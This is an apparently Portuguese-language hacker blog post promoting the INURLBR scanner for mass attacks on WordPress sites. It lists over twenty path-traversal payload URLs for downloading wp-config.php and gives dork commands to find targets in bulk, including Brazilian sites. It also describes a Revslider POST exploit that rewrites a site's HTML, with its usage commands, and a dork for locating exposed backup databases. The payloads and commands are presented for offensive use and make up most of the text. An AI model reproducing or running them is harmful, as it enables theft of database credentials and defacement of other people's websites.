CONCEITO DE SUB_PROCESS / SCANNER INURLBR 2.0

 SUB_PROCESS - Consiste em concatenar uma serie de strings com base de um arquivo predefinido.

============================================================

[!] LISTA DE STRING'S QUE SERÁ EXECUTADA(concatenada) PRA CADA ALVO ENCONTRADO.

1. ['LIST_XPL_NAME']: = listxpl_wordpress_afd.txt

Conteúdo arquivo - URL XPL Wordpress Vulnerability Arbitrary File Download:

• /wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
• /wp-content/force-download.php?file=../wp-config.php
• /wp-content/themes/acento/includes/view-pdf.php?download=1&file=/path/wp-config.php
• /wp-content/themes/SMWF/inc/download.php?file=../wp-config.php
• /wp-content/themes/markant/download.php?file=../../wp-config.php
• /wp-content/themes/yakimabait/download.php?file=./wp-config.php
• /wp-content/themes/TheLoft/download.php?file=../../../wp-config.php
• /wp-content/themes/felis/download.php?file=../wp-config.php
• /wp-content/themes/MichaelCanthony/download.php?file=../../../wp-config.php
• /wp-content/themes/trinity/lib/scripts/download.php?file=../../../../../wp-config.php
• /wp-content/themes/epic/includes/download.php?file=wp-config.php
• /wp-content/themes/urbancity/lib/scripts/download.php?file=../../../../../wp-config.php
• /wp-content/themes/antioch/lib/scripts/download.php?file=../../../../../wp-config.php
• /wp-content/themes/authentic/includes/download.php?file=../../../../wp-config.php
• /wp-content/themes/churchope/lib/downloadlink.php?file=../../../../wp-config.php
• /wp-content/themes/lote27/download.php?download=../../../wp-config.php
• /wp-content/themes/linenity/functions/download.php?imgurl=../../../../wp-config.php
• /wp-content/plugins/ajax-store-locator-wordpress_0/sl_file_download.php?download_file=../../../wp-config.php
• /wp-content/plugins/justified-image-grid/download.php?file=file:///C:/wamp/www/wp-config.php
• /wp-content/plugins/justified-image-grid/download.php?file=file:///C:/xampp/htdocs/wp-config.php
• /wp-content/plugins/justified-image-grid/download.php?file=file:///var/www/wp-config.php
• /wp-content/plugins/aspose-doc-exporter/aspose_doc_exporter_download.php?file=../../../wp-config.php
• /wp-content/plugins/aspose-cloud-ebook-generator/aspose_posts_exporter_download.php?file=../../../wp-config.php

--------------------------------------------------------------------------------------

[!] CMS WORDPRESS VALIDATION / INURLBR 2.0
 Já possui tal validação por padrão padrão interno.

• ['CMS-WORDPRESS-01'] = "define('DB_NAME'";
• ['CMS-WORDPRESS-02'] = "define('DB_USER'";
• ['CMS-WORDPRESS-03'] = "define('DB_PASSWORD'";
• ['CMS-WORDPRESS-04'] = "define('DB_HOST'";

--------------------------------------------------------------------------------------

 [!] Running subprocesses:
 
 --sub-file  Subprocess performs an injection 
     strings in URLs found by the engine, via GET or POST.
     Example: --sub-file {youfile}
     Usage:   --sub-file exploits_get.txt
         
 --sub-get defines whether the strings coming from 
     --sub-file will be injected via GET.
     Usage:   --sub-get
         
 --sub-post defines whether the strings coming from 
     --sub-file will be injected via POST.
     Usage:   --sub-get

[!] Descrição de comando usado:

1. DEFINIR DORK:                       --dork 'DORK'
2. DEFINIR ARQUIVO FONTE:  -s 'output.txt'
3. DEFINIR DORK:                       --sub-file 'file_subprocess.txt'
4. FLAG TIPO REQUEST:            --sub-get / FLAG
5. FLAG FILTRO HOST:              --unique  / HOST ÚNICOS EM SEU RESULTADO

[!] COMMAND EXEC:
GO! GO! ~
php inurlbr.php --dork 'site:br "Index of /wp-content/plugins/revslider"' -s teste.txt --sub-file 'listxpl_wordpress_afd.txt' --sub-get --unique

--------------------------------------------------------------------------------------

CADA BARRINHA  QUE É DEMONSTRADA, É UM PROCESSO DE VALIDAÇÃO..
Dá mesma forma que usei uns (strings/urls)xpls Wordpress, pode ser usado de outros CMS's...
ou URL's padrões para tentar gerar erros SQLI no server, Ataques LFI dá mesma forma..

[!] VÍDEO DEMONSTRATIVO:

Baixar scanner INURLBR 2.0: 
https://github.com/googleinurl/SCANNER-INURLBR

• [+] AUTOR:       googleINURL
• [+] Blog:              http://blog.inurl.com.br
• [+] Twitter:          https://twitter.com/googleinurl
• [+] Fanpage:        https://fb.com/InurlBrasil
• [+] Pastebin         http://pastebin.com/u/Googleinurl
• [+] GIT:               https://github.com/googleinurl
• [+] PSS:               http://packetstormsecurity.com/user/googleinurl
• [+] YOUTUBE:   http://youtube.com/c/INURLBrasil
• [+] PLUS:            http://google.com/+INURLBrasil

[ Neither war between hackers, nor peace for the system. ]

WORDPRESS Revslider Exploit (0DAY) / INURL - BRASIL

WORDPRESS EXPLOIT Revslider

Exploit que possibilita modificação do arquivo HTML da pagina, o plugin Revslider da plataforma CMS Wordpress  é bem conhecido por outras brechas de segurança, pois bem dessa vez é possível fazer uma pequena modificação do arquivo get_captions_css. 

Enviando a requisição:

Via post com seguintes campos:
array(

"action" => "revslider_ajax_action",

"client_action" => "update_captions_css",

 "data" => "_YOU_HTML_ADD_"

 );

Dentro no campo data é onde enviamos nosso HTML modificado.
Nossa array post com os dados já previamente preechidos são enviados para seguinte

URL - POST: http://{target}/wp-admin/admin-ajax.php

Com todo processo terminado podemos verifica se foi modificado o HTML do alvo.

URL - FINAL:  http://{target}/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css 

USANDO EXPLOIT : 
DOWNLOAD:  http://pastebin.com/a2LHiD7U

EXECUTE:
    -t : SET TARGET.
    -f : SET FILE TARGETS.
    -p : SET PROXY
    Execute:
         php exploit.php -t target
         php exploit.php -f targets
         php exploit.php -t target -p 'http://localhost:9090'

OUTPUT COMAND -t:

OUTPUT COMAND -f targets.txt:

Usando em massa com SCANNER INURLBR:
DOWNLOAD:
https://github.com/googleinurl/SCANNER-INURLBR 

COMANDO:
./inurlbr.php --dork 'inurl:admin-ajax.php?action=revslider_show_image -intext:"revslider_show_image"' -s vull.txt  -q 1,6  --comand-all 'php inurl_revslider.php -t _TARGET_'

OUTPUT:

REF: http://pastebin.com/eUUtgAtQ 

REF: http://blog.inurl.com.br/search/label/wordpress

wp-backup-plus: Wordpress Database File Download filter with inurlbr

Wordpress File Download Database 

The WP Backup Plus Plugin:
The Full Automated Wordpress Backup Plugin that sends your backup to multiple locations that allows you to backup, restore, automate, and clone.

DORK: index of "wp-backup-plus"

(Priv8) method for using the downloaded file to deface the server and how to find the script file download in WordPress sites can be explored in all wordpress versions.

[TUTORIAL]

Using inurlbr scanner to filter

COMMAND INURLBR:
php inurlbr.php --dork 'index of "wp-backup-plus"' -s save.txt -q 1,6 -t 2 -a '/wp-backup-plus'

[RESULT SHORT]

DOWNLOAD THE TOOL INURLBR: 
https://github.com/googleinurl/SCANNER-INURLBR